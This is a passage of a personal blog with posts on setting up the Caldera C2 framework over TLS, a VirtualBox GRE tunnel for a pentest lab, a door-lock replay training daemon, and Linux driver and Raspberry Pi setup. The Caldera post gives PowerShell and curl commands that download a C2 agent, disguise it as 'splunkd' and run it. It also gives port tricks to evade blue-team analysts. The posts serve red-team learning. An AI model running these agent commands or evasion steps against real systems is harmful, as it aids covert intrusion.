Showing posts with label Devuan. Show all posts
Showing posts with label Devuan. Show all posts

Thursday, March 7, 2024

Caldera v.5 as a Non-Root User with Encryption

Recently got to see Caldera in action. It's certainly an interesting platform that offers some useful C2 functionality, reporting, and ATT&CK technique mapping. As such I thought it would be a good tool to setup and learn how to better use for myself. Reading into Caldera, I saw that it supported TLS (through it's confusingly named plugin called 'SSL plugin') which is arguably a must for C2 to be useful/hidden.

Virtual Machine Setup

  1. Devuan 5 (effectively Debian 12 bookworm)
  2. Single network interface (eth0)
  3. Internet access for Caldera/repo access
  4. 2 CPU cores and 8GB of ram - Suggestion but can probably be lower

We'll start the instructions here assuming that Devuan is already installed and fully updated. The default Devuan install will need some modifications to apt's sources.list file, mainly that contrib and non-free sources will need to be added. This can be easily accomplished with sed as the root user. With apt configured properly, most of the rest of the system dependencies can be installed.

root@Devuan:~# sed -i 's/ main / main contrib non-free /' /etc/apt/sources.list

root@Devuan:~# apt install libucl1 zlib1g haproxy golang-1.19 python3-venv python3-pip openssl iptables

root@Devuan:~# apt install npm --no-install-suggests --no-install-recommends

In order to save space on the system, the second and third commands are intentionally two separate commands! There is one dependency that is still needed and while the package is available in the repositories, it's currently not packaged for Devuan 5/Debian 12. None the less, it can still be pulled and installed without issues from an older release of Devuan/Debian. The package is upx-ucl. NOTE: Make sure to get the one for the proper CPU architecture of the system (the system in this guide is an x86_64).

root@Devuan:~# wget -c http://deb.devuan.org/merged/pool/DEBIAN/main/u/upx-ucl/upx-ucl_3.95-1_amd64.deb && dpkg -i upx-ucl_3.95-1_amd64.deb

Caldera Installation

At this point, all of the system-wide dependencies should be installed. The next steps will proceed as the non-root user that caldera will be run as. For the purposes of this article the username of 'user' will be used.

user@Devuan:~$ cd /home/user

user@Devuan:~$ git clone https://github.com/mitre/caldera.git --recursive

The above will clone Caldera into a folder located at /home/user/caldera. For the purposes of not trampling on system python libraries and due to Mitre providing a requirements.txt file, a python virtual environment will be used to maintain the required dependencies for Caldera.

user@Devuan:~$ python3 -m venv /home/user/caldera && cd /home/user/caldera

user@Devuan:~/caldera$ source bin/activate

Notice that the prompt will change once the python virtual environment has been activated! This is important in order to install Caldera's dependencies into the Caldera virtual environment. For more information about python virtual environments, check out this article about why to use them.

(caldera) user@Devuan:~/caldera$ pip3 install -r requirements.txt

If all goes well with pip3 installing the requirements. It's time to build the web interface. If Caldera is going to be used via remote systems, ie not accessed from the machine that Caldera is installed on, there is one change that needs to be done before building the server.

(caldera) user@Devuan:~/caldera$ sed 's|VITE_CALDERA_URL=.*|VITE_CALDERA_URL=http://|' plugins/magma/.env.template > plugins/magma/.env

At this point Caldera can be launched and run on the default ports without encryption. NOTE: The --build part needs to be run and complete at least once before moving on to the rest of this guide!

(caldera) user@Devuan:~/caldera$ python3 server.py --insecure --build

Now from another machine, navigate to http://<CALDRA_IP>:8888 and login with the default credentials of red/admin or blue/admin depending on which "team" you're wanting to leverage.

TLS Configuration

Once it is confirmed that Caldera is working or if just skipping ahead to get the TLS configuration, ensure Caldera isn't currently running (ctrl+c will stop caldera if it was launched following the previous instructions). The first thing that needs to be done is the creation of a certificate and associated key. Some thought should be placed into this step as the normal process will generate a self-signed certificate which comes with its own set of problems. Regardless, this guide will continue with a self-signed cert.

(caldera) user@Devuan:~/caldera$ cd /home/user/caldera/plugins/ssl

(caldera) user@Devuan:~/caldera/plugins/ssl$ openssl req -x509 -newkey rsa:4096 -out conf/caldera_cert.pem -keyout conf/caldera_cert.pem.key -nodes

Openssl will prompt for some of the fields to be set in the certificate. It is highly recommended to change these from the defaults.

The next step is to configure haproxy to use this certificate. Mitre provides a haproxy template where all that needs configured is the path to the certificate.

(caldera) user@Devuan:~/caldera/plugins/ssl$ cp templates/haproxy.conf conf/

(caldera) user@Devuan:~/caldera/plugins/ssl$ sed -i 's|bind \*:8443 ssl .*|bind \*:8443 ssl crt plugins/ssl/conf/caldera_cert.pem|' conf/haproxy.conf

The final step is to enable the Caldera SSL plugin in the configuration file.

(caldera) user@Devuan:~/caldera$ cd ~/caldera && sed '/- training/a - ssl' conf/default.yml > conf/local.yml

Final System Configuration

With the certificate and associated key configured, there are a few system tasks that need to be configured now. The first is that the user's enviornment path variable is unlikely to contain the path necessary for Caldera to call haproxy. On Devuan if the user's path is compared to the location of haproxy on the system, one can see that there is a disconnect.

(caldera) user@Devuan:~/caldera$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

(caldera) user@Devuan:~/caldera$ ls -l /usr/sbin/haproxy 
-rwxr-xr-x 1 root root 3140224 Dec 16 10:41 /usr/sbin/haproxy

As can be seen, user's path doesn't include the /usr/sbin directory. Easy fix by adding it to the user's path variable in the ~/.bashrc file.

caldera) user@Devuan:~/caldera/plugins/ssl$ echo "$PATH:/usr/sbin" >> ~/.bashrc

The next step necessary is to configure the system to allow the user to raise the number of open file descriptors as needed by haproxy. PAM on Linux systems will easily allow this to occur (need root privileges to do this). In order for the previous changes to take effect, a logout and login will be needed.

root@Devuan:~# echo "user hard nofile 45000" > /etc/security/limits.d/caldera_haproxy.conf

Finally! At this point, Caldera should be setup and the system configured to allow a non-root user to launch caldera.

(caldera) user@Devuan:~/caldera$ cd ~/caldera && python3 server.py

Extra OPSEC item

If one is looking to keep things a bit more stealthy, it would be wise to leverage iptables/nftables to port redirect TCP/443 (normal HTTPS port) to TCP/8443 (Caldera's default https port when running as a non-root user). The below iptables commands will redirect inbound TCP/443 to TCP/8443 and it will redirect outbound TCP/8443 to TCP/443!

root@Devuan:~# iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443

root@Devuan:~# iptables -t nat -I OUTPUT -o eth0 -p tcp --sport 8443 -j REDIRECT --to-ports 443

NOTE: These iptables rules are one offs and would need to be run every time the system is rebooted and other existing rules need to checked to ensure the rules are placed appropriately on the system. If interested in making these rules persistent, check out the iptables-save command from iptables-persistent package in Devuan/Debian!

Using with agents

With the above code, caldera agents can now be pointed to standard https:// links rather than having to specify a port as well (ports aren't common in URL's and might seem suspicious to blue team analysts). One point to keep in mind is that this guide is using a self-signed cert so in order for common operating system tools to trust the cert, insecure flags will need to be used.

For the Powershell agent download, the following string can be added to Calreda's commands to instruct Powershell to ignore the self-signed certificate.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

Make sure that the code snippet goes before the actual call to download the file. For example in the standard sandcat agent:

$server="https://<SERVER_IP_OR_HOSTNAME>";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$data=$wc.DownloadData($url);
[... Truncated ...]

Similar functionality exists for the Linux agents as well. To do this with the Linux agents a curl argument to not check certificates (--insecure or -k) can be added to Caldera's commands.

server="https://<SERVER_IP_OR_HOSTNAME>";
curl -s --insecure -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -server $server -group red -v

Calderad Service?

If there's interest, I've also written up an init script/program to start, stop, and restart Caldera as configured above as a system service. I'd be happy to share the conf files if desired (may end up throwing them into a repo as well, I'll update this article with links if I do).

Tuesday, August 2, 2022

VirtualBox Multi-Host VM Communication

    The other day I realized that my main laptop I use to practice different pentesting tactics and techniques upon was starting to get a bit over burdened from the number of virtual machines I was wanting it to support. Seeing that I run Linux as much as humanly possible, a lot of my computers are older and suffer from a lack of resources; primarily RAM and CPU. For example one of my pentesting laptops is a measly dual-core I5 with 16GB of RAM. By all means it's more than enough to run Devuan and a few Linux virtual machines but as it stands, my current PNPT studies have required that I run a Windows Server 2019 domain controller and two Windows 10 enterprise hosts as well as my Parrot OS VM. Ouch... This little laptop runs it but it's definitely not pretty. As usual, this got the gray-matter firing up wondering if there was a way to build a virtual testing environment between multiple laptops.

    Running hypervisors isn't anything new for me. I have plenty of experience with "enterprise" hyperviors like Xen, XenServer, XCP, and KVM (I consider KVM an enterprise hypervisor at least!). These hypervisors make it trivial to spread VMs across a number of hosts and then network them all together seamlessly with fancy switches and vlans but I was looking to have something that's a bit more portable. In other words two laptops and nothing else. While this is probably still possible with all of the previously mentioned hypervisors, I did want to retain the graphical environment that both of my laptops had for 'ease of maintenance'. So virtualbox on top of Devuan it is! 

    Real quickly before we proceed let's get some terminology squared away. This guide will refer to the system running Devuan+VirtualBox as the 'host' and any virtual machine running within VirtualBox upon the host will be referred to as a 'guest'. The following networks will also be in play:

Network Network Interface IP/CIDRHostNetwork Type
Network Avboxnet0192.168.56.0/24HOST AHost-Only Vbox Net
Network Bvboxnet1192.168.60.0/24HOST BHost-Only Vbox Net
Network Cvbox_gre172.16.1.0/30HOST A & BGRE Net Connection
Network Deth0192.168.1.0/24HOST A & BLAN for Both Hosts

    At first I was going to head down the path of a customized Devuan virtual machine to act as a router between the two virtualbox hosts but some more thinking about things, I quickly realized this was probably unessecary and I could leverage the host's networking stack and host-only network adapters within virtualbox to accomplish this task without the need for MORE virtual machines! As we'll see, this was correct, and frankly quite neat! Ultimately this is what the network topology looks like.

    While there's a lot going on in this diagram, it's actually quite simple. Host A and Host B both have their 'eth0' interfaces on the 192.168.1.0 network. Each host has a Host-only virtualbox network; vboxnet0 and vboxnet1 respectively (technically any host-only network can work here, this guide separates them to help lessen confusion). vbox_gre is a Generic Routing Encapsulation (GRE) network that will be created between Host A and Host B to allow the two vboxnets to communicate with one another through the GRE tunnel. Technically the GRE tunnel as well as the guest traffic between the two hosts will traverse the 192.168.1.0/24 network inside GRE packets.

A note before starting configurations: All modifications done here are RUNTIME changes. This means a reboot will cause the changes to be undone! This guide leaves the decision to make these changes permanent to the reader.

    To get started, both hosts need to have the GRE kernel module available. This can be loaded using: modprobe gre. Assuming no errors, each host can now be setup to participate in the GRE tunnel. Before starting that, let's lay out all the IP addresses that will be involved as there are many and it might get confusing.

Host Network Interface IP/CIDRInt Purpose
A eth0192.168.1.19/24Host A LAN Conn.
Beth0192.168.1.108/24Host B LAN Conn.
A vbox_gre172.16.1.1/30GRE Net Interface
B vbox_gre172.16.1.2/30GRE Net Interface
A vboxnet0192.168.56.1/24Host-Only VBox Network
B vboxnet1192.168.60.1/24Host-Only VBox Network
A enp0s3192.168.56.109/24Parrot OS Guest
B Nic 1192.168.60.101/24Windows Server 2019 Guest

root@host-A:~# ip tunnel add vbox_gre mode gre remote 192.168.1.108 local 192.168.1.19 ttl 16
root@host-A:~# ip link set vbox_gre up
root@host-A:~# ip addr add 172.16.1.1/30 dev vbox_gre 

      Now the tunnel configuration commands can be run on host B (NOTE: Watch IP assignments!).

root@host-B:~# ip tunnel add vbox_gre mode gre remote 192.168.1.19 local 192.168.1.108 ttl 16
root@host-B:~# ip link set vbox_gre up
root@host-B:~# ip addr add 172.16.1.2/30 dev vbox_gre 

    At this point the tunnel should be established but it is worth noting on systems utilizing firewalls the tunnel may not become active until both sides of the connection attempt to send traffic. The following iptables rule appears to solve this issue (note the correct host when running the commands):

# Allow GRE protocol from Host B
root@host-A:~# iptables -A INPUT -s 192.168.1.108 -p gre -j ACCEPT

# Allow GRE protocol from Host A
root@host-B:~# iptables -A INPUT -s 192.168.1.19 -p gre -j ACCEPT 

    Just a quick check to see if the two ends of the tunnel can speak to one another.
root@host-A:~# ip -4 -o a sh vbox_gre
7: vbox_gre    inet 172.16.1.1/30 scope global vbox_gre\
root@host-A:~# ping -c 2 172.16.1.2
PING 172.16.1.2 (172.16.1.2) 56(84) bytes of data.
64 bytes from 172.16.1.2: icmp_seq=1 ttl=64 time=1.01 ms
64 bytes from 172.16.1.2: icmp_seq=2 ttl=64 time=1.12 ms

--- 172.16.1.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 1.005/1.061/1.117/0.056 ms

###################################################################

root@host-B:~# ip -4 -o a sh vbox_gre
7: vbox_gre    inet 172.16.1.2/30 scope global vbox_gre\
root@host-B:~# ping -c 2 172.16.1.1
PING 172.16.1.1 (172.16.1.1) 56(84) bytes of data.
64 bytes from 172.16.1.1: icmp_seq=1 ttl=64 time=0.532 ms
64 bytes from 172.16.1.1: icmp_seq=2 ttl=64 time=0.617 ms

--- 172.16.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1020ms
rtt min/avg/max/mdev = 0.468/0.472/0.477/0.004 ms

    This is looking good! The two VirtualBox hosts can communicate via the GRE tunnel. Now let's setup the hosts so that VM's on the host-only networks can communicate over the GRE tunnel. 

    NOTE: It is worth noting that doing the next steps sort of defeats the purpose of a Host-Only network in VirtualBox. Following these steps will bypass some of the inherent security of a Host-Only network. Do not proceed if you don't understand these implications or if you are questioning whether you want to do this. (Obligatory disclaimer!)

    Alright disclaimer out of the way, lets do this! So now the respective interfaces on each of the hosts need to be allowed to forward traffic and the proper firewall rules added as well. Make sure to replace vbox_gre and vboxnet[01] with the proper interface names from the respective VirtualBox host.

root@host-A:~# iptables -A FORWARD -i vboxnet0 -o vbox_gre -j ACCEPT
root@host-A:~# iptables -A FORWARD -i vbox_gre -o vboxnet0 -j ACCEPT
root@host-A:~# echo 1 > /proc/sys/net/ipv4/conf/vbox_gre/forwarding 
root@host-A:~# echo 1 > /proc/sys/net/ipv4/conf/vboxnet0/forwarding 

###################################################################

root@host-B:~# iptables -A FORWARD -i vboxnet1 -o vbox_gre -j ACCEPT
root@host-B:~# iptables -A FORWARD -i vbox_gre -o vboxnet1 -j ACCEPT
root@host-B:~# echo 1 > /proc/sys/net/ipv4/conf/vbox_gre/forwarding 
root@host-B:~# echo 1 > /proc/sys/net/ipv4/conf/vboxnet1/forwarding

    The final step to all of this is to ensure that each of the guests in the respective Host-Only network is configured to use the Host's vboxnet interface as the gateway. You could use the interface as a default gateway but this opens up a slew of other issues ( You did read the disclaimer above right?). I'll leave it to the reader to decide what is best but for completion of this article, I'll add specific routes.

    The first guest is my Parrot OS virtual machine. It is homed on VirtualBox Host-A and has an IP address of 192.168.56.109. A route to the 192.168.60.0/24 network via the vboxnet0 adapter's IP address (192.168.56.1) is needed.

# Parrot OS Guest on VirtualBox Host A
root@ParrotOS:~# ip route add 192.168.60.0/24 via 192.168.56.1
# Optionally if a desire to ping the GRE Tunnel endpoints, add that network as well
root@ParrotOS:~# ip route add 172.16.1.0/30 via 192.168.56.1

    The same process for the Windows Server 2019 guest home on VirtualBox Host-B is also needed. The Win2019 host has an IP address of 192.168.60.101. A route to the 192.168.56.0/24 network via the vboxnet1 adapter's IP address (192.168.60.1) is needed.

# Windows Server 2019 Guest on VirtualBox Host B
C:\Users\Adminstrator>route add 192.168.56.0 mask 255.255.255.0 192.168.60.1
# Optionally if a desire to ping the GRE Tunnel endpoints, add that network as well
C:\Users\Adminstrator>route add 172.16.1.0 mask 255.255.255.252 192.168.60.1

    Now the moment of truth.... Can the two guests ping each other on different virtualbox hosts over the host-based GRE tunnel!?

Testing from Windows:


   Testing from Parrot OS:


 And just to further prove that there's end to end communication, here's an nmap scan; after-all this is for pentesting purposes!
┌─[root@ParrotOS]─[~]
└──╼ #nmap -sV 192.168.60.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-02 21:26 PDT
Nmap scan report for 192.168.60.101
Host is up (0.0018s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-03 03:26:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: greek.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: greek.local0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: greek.local0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: greek.local0., Site: Default-First-Site-Name)
Service Info: Host: MEDUSADC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.98 seconds

     Ah what a glorious sight! Rest assured that I didn't cheat and run a Windows DC locally on Host-A to make it look like it works! I certainly hope this guide will be of use to others as I can't imagine I'm the only person who's ever wanted this sort of functionality with VirtualBox.

Wednesday, July 27, 2022

OWASP Juice Shop Virtual Machine

    OWASP Juice Shop is one of the go-to tools for learning the ins and outs of web application penetration testing. The project offers a number of different levels for testers of all skill-sets. One of the issues with the project though is that the setup isn't exactly the easiest for everyone out there. The OWASP github page provides great and detailed instructions but sometimes folks just want a simple download of an appliance that simply requires a network connection and a power button; Enter JuiceShopped!

    While probably unnecessary, I hope that it'll be useful to other folks out there looking to get into webapp and even general pentesting. This project provides a pre-configured OVA (virtualbox appliance) running Devuan Daedalus and a current version of OWASP's Juice Shop. The appliance is setup so that all the user has to do is set the appliance's network adapter to Host-only Adapter and then power on the virtual machine!

    Highlights of the machine:

  1. Devuan Daedalus
  2. Machine will pull a DHCP address
  3. Auto starts Juice Shop at boot time

The long term plan for the project is to continuously update the virtual appliance so that folks can simply download the appliance and have a turnkey Juice Shop VM. As time goes along, I'm hoping to automate or at least provide a method to update JuiceShopped so that a new VM won't have to be downloaded/imported each time there is a new release as well!
 

    If you're interested, please download the OVA and share any feedback at the Github page here:  JuiceShopped!

Saturday, July 23, 2022

Daemonizing a Perl Script with Sysv

    Following up on a previous article in regards to broadcasting UDP data in Perl, here, a need to build a Linux system to run this Perl script at boot time was requested. Simple enough and as with many things in the Perl/Linux world TIMTOWTDI!

    Some background on how all this came about. A door control system was being evaluated and it was determined that it was susceptible to replay attacks. Yes, simply capturing a plaintext broadcasted packet and replaying it would cause this particular door control system to happily lock/unlock doors! Wanting to have a way to train others on how to do this, the messages needed to triggered so that students could capture the messages without requiring both a Window's machine to run the door control software and a person to trigger the controls; Enter Devuan and Perl!

    A quick installation of a minimal Devuan system was performed and then an init script was devised to start the Perl code that would randomly trigger one of four doors periodically. Initially this sounded like it would be far more difficult than it turned out to be and provided a great learning opportunity on how to leverage hash of hashes in Perl (roughly multidimensional arrays in other languages - I'm by no means an expert at why Perl doesn't really have multidimensional array but Gabor Szabo, as usual, has a article on the subject here). None the less, a single multidimensional hash was used to keep track of a number of important things for this door system.

# Four doors allowed by controller
# Status -> Zero = closed, One = open
my %Door_Data = (
  '1' => { 'open' => { 'o_code' => 'f98501', 'o_comm' => '01030303' },
          'close' => { 'c_code' => '796c01', 'c_comm' => '02030303' },
         'status' => 0, 'magic' => '04' }, 
  '2' => { 'open' => { 'o_code' => '853001', 'o_comm' => '03010303' },
          'close' => { 'c_code' => 'e73101', 'c_comm' => '03020303' },
         'status' => 0, 'magic' => '08' }, 
  '3' => { 'open' => { 'o_code' => 'bac601', 'o_comm' => '03030103' },
          'close' => { 'c_code' => 'b9e401', 'c_comm' => '03030203' },
         'status' => 0, 'magic' => '10' }, 
  '4' => { 'open' => { 'o_code' => 'e8ef01', 'o_comm' => '03030301' },
          'close' => { 'c_code' => '90ec01', 'c_comm' => '03030302' },
         'status' => 0, 'magic' => '20' }
  ); 

    So the hash contains a hash which contains a hash; Hash-ception! For anyone interested the rest of the Perl script will be posted on my github since it's not the main purpose of this article. The jist of it is the script simply obtains the network address of the eth0 interface and then randomly chooses a door, determines if the door is opened or closed according to the script (still researching how to determine this from the controller itself), and then determines the proper code and command to send to perform the lock/unlock action against the door.

    Now the process of making the init script to run on Devuan at startup. Launching a Perl program as a daemon on system start-up was not something I'd ever done before but always happy to learn something new. Since this script would rely on a number of system services, getting the dependencies correct would prove to be very important.

#! /bin/sh
### BEGIN INIT INFO
# Provides:          door_lock.pl
# Required-Start:    $local_fs $network $remote_fs $named $time
# Required-Stop:     $local_fs $network $remote_fs $named
# Should-Start:
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Launch door unlock/lock script
# Description:       Launch Perl script as system Daemon
### END INIT INFO

    While extensive testing wasn't done on the required system facilities, it was noted that $local_fs and $network were obviously necessary. The next step was to create the required actions. For this start-up script, and most of the ones I create, start|stop|status|restart are all determined to be good options.

    Each of the different actions would leverage start-stop-daemon and since the Perl script doesn't have code to fork on it's own, the --background option for start-stop-daemon will be needed when starting this process at boot (I plan to go back and utilize fork in the Perl code later though). The previous requirements led to a case statement looking like the following.

PATH='/usr/local/bin:/usr/local/bin:/usr/bin:/usr/sbin:/bin:/sbin'
PIDFILE='/run/door_lockd.pid'
DAEMON='/usr/local/sbin/door_control.pl'
NAME='door_lockd'

. /lib/init/vars.sh
. /lib/lsb/init-functions

case "$1" in
  start)
	log_daemon_msg "Starting Door Control daemon" "$NAME" || true
	if start-stop-daemon --start --background --chuid 0:0 -m --pidfile $PIDFILE --exec $DAEMON; then
		log_end_msg 0 || true
	else
		log_end_msg 1 || true
	fi
	;;

  restart)
	log_daemon_msg "Restarting Door Control daemon" "$NAME" || true
	start-stop-daemon --stop --quiet --oknodo --retry TERM/3/KILL/5 --remove-pidfile --pidfile $PIDFILE
	if start-stop-daemon --start --background --chuid 0:0 -m --pidfile $PIDFILE --exec $DAEMON; then
 		log_end_msg 0 || true
	else
		log_end_msg 1 || true
	fi
	;;

  stop)
	log_daemon_msg "Stopping Door Control daemon" "$NAME" || true
	if start-stop-daemon --stop --quiet --oknodo --retry TERM/3/KILL/5 --remove-pidfile --pidfile $PIDFILE ; then
		log_end_msg 0 || true
	else
		log_end_msg 1 || true
	fi
	;;

  status)
	status_of_proc -p $PIDFILE $DAEMON $NAME && exit 0 || exit $?
	;;
  *)
	echo "Usage: door_lockd.sh [start|stop|restart|status]" >&2
	exit 3
	;;
esac
exit 0

     Thinking everything was good to go at this point, I used update-rc.d <name_of_script> defaults to install the proper symbolic links to the init script in the proper rcX.d directories and rebooted. Sadly upon reboot the Perl program wasn't running but oddly enough there was a PID file and init messages showed that there weren't any errors starting. So the init script definitely ran but there were no signs of whether the Perl program started. Some further reading about the --background argument lead me to wonder if something failed but start-stop-daemon was unable to check the status. Turned out that wasn't the case and the real issue was determined by removing --quiet from the start-stop-daemon and noticing that the Perl code indeed ran but was attempting to open the necessary socket for sending the UDP data before the network adapter was actually ready! So I modifed the Perl program to no longer die on failure to open a socket but rather warn. I also modified the program so that it wouldn't actually try to send data if the socket failed. Oddly, I was under the impression that the $network variable meant that the network adapter would be online and ready to go (ie configured with whatever protocol was needed on that adapter) before init would attempt to run this init script. None the less, the system was rebooted again and low-and-behold the init script kicked off the Perl program as a background daemon and after waiting a little while for the delay in the script to kick out a UDP message, the ether was once again presented with UDP data being broadcasted out to the world.

root@Devuan:~# tcpdump -i eth0 -nn 'port 60000'
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:45:17.1920 IP 192.168.1.19.35133 > 255.255.255.255.60000: UDP, length 1172
19:45:23.1926 IP 192.168.1.19.38198 > 255.255.255.255.60000: UDP, length 1172
19:45:25.1932 IP 192.168.1.19.36199 > 255.255.255.255.60000: UDP, length 1172
19:45:27.1937 IP 192.168.1.19.39466 > 255.255.255.255.60000: UDP, length 1172
19:45:32.1945 IP 192.168.1.19.53527 > 255.255.255.255.60000: UDP, length 1172

    Watching the door locks being evaluated was also entertaining as they were randomly locking and unlocking with no one interacting with the control console: Success!

Thursday, July 21, 2022

Alfa AWUS036ACH Driver on Devuan

    Well Prime day came and went recently. To my excitement, I was able to get a nice deal on a new Alfa AWUS036ACH USB Wi-Fi adapter! Upon receiving the adapter I quickly went to test it on the laptop only to find that Devuan didn't have the proper firmware to use the adapter. Dang!

root@Devuan:~# dmesg --follow
[ 1154.560128] usb 1-1.1.1: new high-speed USB device number 10 using ehci-pci
[ 1154.669536] usb 1-1.1.1: New USB device found, idVendor=0bda, idProduct=8812, bcdDevice= 0.00
[ 1154.669546] usb 1-1.1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 1154.669550] usb 1-1.1.1: Product: 802.11n NIC
[ 1154.669553] usb 1-1.1.1: Manufacturer: Realtek
[ 1154.669556] usb 1-1.1.1: SerialNumber: 123456
...

root@Devuan:~# lsusb -d 0bda:8812 -v

Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Device Descriptor:
...
  idVendor           0x0bda Realtek Semiconductor Corp.
  idProduct          0x8812 RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
  iManufacturer           1 Realtek
  iProduct                2 802.11n NIC
    Normally at this point, I'll check repositories for non-free firmware and hope that the distribution maintainers have already pre-packaged the needed firmware.

root@Devuan:~# apt-cache search 8812
firmware-realtek - Binary firmware for Realtek wired/wifi/BT adapters

root@Devuan:~# apt-cache show firmware-realtek | grep 8812
  * Realtek RTL8812AE Bluetooth firmware (rtl_bt/rtl8812ae_fw.bin)
  * Realtek RTL8821AEFW firmware (rtlwifi/rtl8812aefw.bin)
  * Realtek RTL8821AEFW wowlan firmware (rtlwifi/rtl8812aefw_wowlan.bin)

    Well that's a bummer. It doesn't appear that the realtek firmware package in Devuan's repository doesn't include the needed code for this new adapter! Well off to Alfa's site to see where the source is available. Luckily from the looks of it, Alfa has already shared a number of instructions for getting the driver working on different distributions here. A quick review of the page shows that Kali, Ubuntu, and Debian already have guides available which is really good news! So to get things started, the firmware needs to be downloaded. 

git clone https://github.com/morrownr/8812au-20210629.git

    Now at this point one could run the install script but it does request root privileges and I'm not a particularly trusting individual when it comes from code downloaded off the internet. So taking a look at the install script shows that there's only a handful of things that actually need root privileges (installing the module and the module's configuration file being the main items). Easy enough to get around.

aut0exec@devuan:~$ cd 8812au-20210629/
aut0exec@devuan:~/8812au-20210629$ make clean
aut0exec@devuan:~/8812au-20210629$ make

    Once the make process finishes, hopefully error free, there will be a file named 8812au.ko as well as 8812au.conf in the current directory. These files then need to be copied to the proper locations ('su -c' will prompt for root's password).

aut0exec@devuan:~/8812au-20210629$ su -c "cp 8812au.conf /etc/modprobe.d/"
aut0exec@devuan:~/8812au-20210629$ su -c "cp 8812au.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless/"
aut0exec@devuan:~/8812au-20210629$ su -c "/sbin/depmod $(uname -r)"

    After all of these steps, the module should be ready to go! One could simply reboot but this shouldn't be necessary; just unplug the adapter and plug it back in. 

root@Devuan:~# dmesg --follow
[ 6192.608297] usb 1-1.1.1: new high-speed USB device number 11 using ehci-pci
[ 6192.721143] usb 1-1.1.1: New USB device found, idVendor=0bda, idProduct=8812, bcdDevice= 0.00
[ 6192.721149] usb 1-1.1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 6192.721151] usb 1-1.1.1: Product: 802.11n NIC
[ 6192.721152] usb 1-1.1.1: Manufacturer: Realtek
[ 6192.721153] usb 1-1.1.1: SerialNumber: 123456
[ 6193.100284] usbcore: registered new interface driver rtl8812au  <--------SUCCESS!
[ 6193.117356] rtl8812au 1-1.1.1:1.0 wlx00c0caaff351: renamed from wlan1 <--SUCCESS!
...

root@Devuan:~# lsmod | grep 8812
8812au               2191360  0
cfg80211              970752  4 b43,8812au,mac80211,brcmsmac
usbcore               323584  5 ehci_pci,usbhid,ehci_hcd,8812au

root@Devuan:~# ip a sh dev wlan0
3: wlx00c0caaff351: <NO-CARRIER,BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state DORMANT group default qlen 1000
    link/ether de:ad:be:ef:c0:de brd ff:ff:ff:ff:ff:ff permaddr de:ad:be:ef:c0:de

Success! There is now an extra wireless adapter showing up in the output of the 'ip a' command as well as the new module shows as loaded in the output of 'lsmod'. Enjoy connecting to the all the networks!

Sunday, July 10, 2022

Devuan on a Raspberry Pi using Serial Console

     Greetings! As anyone who knows me might know, I'm an avid Linux fan and specifically I enjoy Devuan. I have my reasons like everyone but for me, it just works. That is to say until I decided to head down the Devuan on a Raspberry Pi (RPi) path! Long story short, I was given a RPi4 at work and asked to setup a dropbox of sorts and noticing that Devuan had some Daedalus (next release of Devuan) images available at the ARM Trial Images page, I thought this would be a great opportunity to try out the new release on a new RPi4. 

    One of the first things immediately noticed was that the RPi4 uses USB-C for power as well as a micro HDMI for video out. Shoot! USB-C wasn't an issue but the micro HDMI would prove to be an issue. Not to fear like all my other RPi's, the Pi 4 also supports a UART interface and I have more than a few UART capable devices laying around at all times.  

    After downloading the Daedalus zip from Devuan's site, extracting it, and writing it to the micro-sd card for the Pi, I set off to enable the UART interface by modifying the RPi's config.txt file on the boot partition. Normally when doing this, all that had been needed with recent distros like Raspbian was to add enable_uart=1 to the config.txt file. 

    Prior to booting the Pi, a connection to the primary serial interface is needed to see the output. A JTAGulator board was used for this purpose. So making the proper connections from the JTAGulator to the RPi was follows:

JTAGulator Pin RPI GPIO Pin
GNDPin 9
CH0Pin 8
CH1Pin 10

    Hopefully at this point, the following command can be used to access the JTAGulator interface picocom -q -b 115200 /dev/ttyUSB0.Upon successful connection, the JTAGulator ascii art should be displayed and a UART passthrough connection can be configured.

# picocom -q -b 115200 /dev/ttyUSB0
                                    UU  LLL
 JJJ  TTTTTTT AAAAA  GGGGGGGGGGG   UUUU LLL   AAAAA TTTTTTTT OOOOOOO  RRRRRRRRR
 JJJJ TTTTTTT AAAAAA GGGGGGG       UUUU LLL  AAAAAA TTTTTTTT OOOOOOO  RRRRRRRR
 JJJJ  TTTT  AAAAAAA GGG      UUU  UUUU LLL  AAA AAA   TTT  OOOO OOO  RRR RRR
